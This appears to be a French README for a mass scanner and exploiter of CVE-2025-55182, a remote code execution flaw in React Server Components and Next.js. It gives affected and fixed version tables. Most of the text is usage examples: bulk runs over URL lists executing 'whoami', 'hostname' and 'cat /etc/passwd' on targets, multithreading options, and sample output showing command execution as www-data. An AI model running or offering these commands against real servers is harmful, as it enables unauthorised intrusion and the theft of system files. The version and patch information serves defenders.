
Scanner automatisé pour CVE-2025-55182 : une vulnérabilité RCE critique dans React Server Components et Next.js.
Outil de détection et de vérification en masse pour la vulnérabilité d'exécution de code à distance CVE-2025-55182 (React2Shell).
⚠️ Vulnérabilité critique CVSS 10.0 | Affecte React Server Components et Next.js versions 15.x/16.x | Utilisation réservée aux tests de sécurité autorisés
CVE-2025-55182 (également connu sous le nom de "React2Shell") est une vulnérabilité d'exécution de code à distance (RCE) non authentifiée avec un score CVSS 10.0 critique maximal.
Cette vulnérabilité provient d'un problème de désérialisation non sécurisée dans le package react-server de React Server Components (RSC) lors du traitement du protocole RSC "Flight". Un attaquant peut exécuter du code arbitraire sur le serveur vulnérable en envoyant une requête HTTP spécialement conçue.
Comme Next.js utilise le protocole RSC "Flight", même les applications configurées par défaut avec create-next-app peuvent être exploitées sans que le développeur ait besoin d'écrire du code supplémentaire. Depuis le 5 décembre 2025, une exploitation active de cette vulnérabilité a été détectée.
Versions affectées de React Server Components :
| Paquet | Version affectée |
|---|---|
| react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
Versions affectées de Next.js (avec App Router) :
Autres frameworks/outils RSC potentiellement affectés :
⚠️ Note importante : il n'existe aucune mesure d'atténuation temporaire connue pour cette vulnérabilité ; la mise à niveau vers une version sécurisée est la seule solution de correction.
Versions de mise à niveau recommandées :
Le package npm fix-react2shell-next fourni officiellement peut être utilisé pour aider à mettre à jour les applications Next.js affectées.
pip install requests
# Scan par lots (lecture des cibles depuis urls.txt)
python CVE-2025-55182.py -f urls.txt
# Test d'une seule cible
python CVE-2025-55182.py -u http://192.168.1.100:3000
# Exécute la commande whoami
python CVE-2025-55182.py -f urls.txt -c "whoami"
# Exécute la commande hostname
python CVE-2025-55182.py -u http://target.com -c "hostname"
# Lit un fichier
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"
# Spécifie le nombre de threads et le délai d'attente
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15
# Fichier de sortie personnalisé
python CVE-2025-55182.py -f urls.txt -o scan_results.csv
# Mode silencieux (affiche uniquement les URL vulnérables)
python CVE-2025-55182.py -f urls.txt -q
Une URL par ligne, par exemple :
http://192.168.1.10:3000
http://192.168.1.11:3000
+---------------------------------------------------------------+
| ### ## ####### ## ## ######## ## ####### |
| #### ## ## ## ## ## ## ## |
| ## ## ## ##### ### ## ## ####### |
| ## #### ## ## ## ## ## ## ## |
| ## ### ####### ## ## ## #### ####### |
| |
| CVE-2025-55182 RCE Scanner |
+---------------------------------------------------------------+
============================================================
[ CONFIGURATION ]
============================================================
> Targets: 10
> Threads: 20
> Command: id
============================================================
[ SCANNING ]
============================================================
[14:30:25] [VULN] http://192.168.1.10:3000
'--> uid=1000(www-data)
[14:30:26] [SAFE] http://192.168.1.11:3000
+==========================================================+
| SCAN COMPLETE |
+==========================================================+
| Total Targets : 10 |
| Vulnerable : 1 |
| Safe : 9 |
| Errors : 0 |
+==========================================================+
Les résultats du scan sont enregistrés au format CSV, avec les champs suivants :
url - URL ciblestatus - Code d'état HTTPvulnerable - Est vulnérableoutput - Sortie de l'exécution de la commandeerror - Message d'erreurCet outil est uniquement destiné à des tests de sécurité autorisés. Ne pas l'utiliser à des fins illégales. L'utilisateur assume l'entière responsabilité.
| Version majeure | Plage de version affectée | Version corrigée |
|---|
| 16.0.x | ≤ 16.0.6 | 16.0.7 |
| 15.5.x | ≤ 15.5.6 | 15.5.7 |
| 15.4.x | ≤ 15.4.7 | 15.4.8 |
| 15.3.x | ≤ 15.3.5 | 15.3.6 |
| 15.2.x | ≤ 15.2.5 | - |
| 15.1.x | ≤ 15.1.8 | - |
| 15.0.x | ≤ 15.0.4 | - |
| 14.x Canary | ≥ 14.3.0-canary.77 | - |
| Paramètre | Description | Valeur par défaut |
|---|
-f, --file | Fichier de liste d'URL | urls.txt |
-u, --url | URL cible unique | - |
-t, --threads | Nombre de threads simultanés | 20 |
--timeout | Délai d'attente de requête (secondes) | 10 |
-o, --output | Fichier CSV de sortie | results.csv |
-c, --command | Commande à exécuter | id |
-q, --quiet | Mode silencieux | false |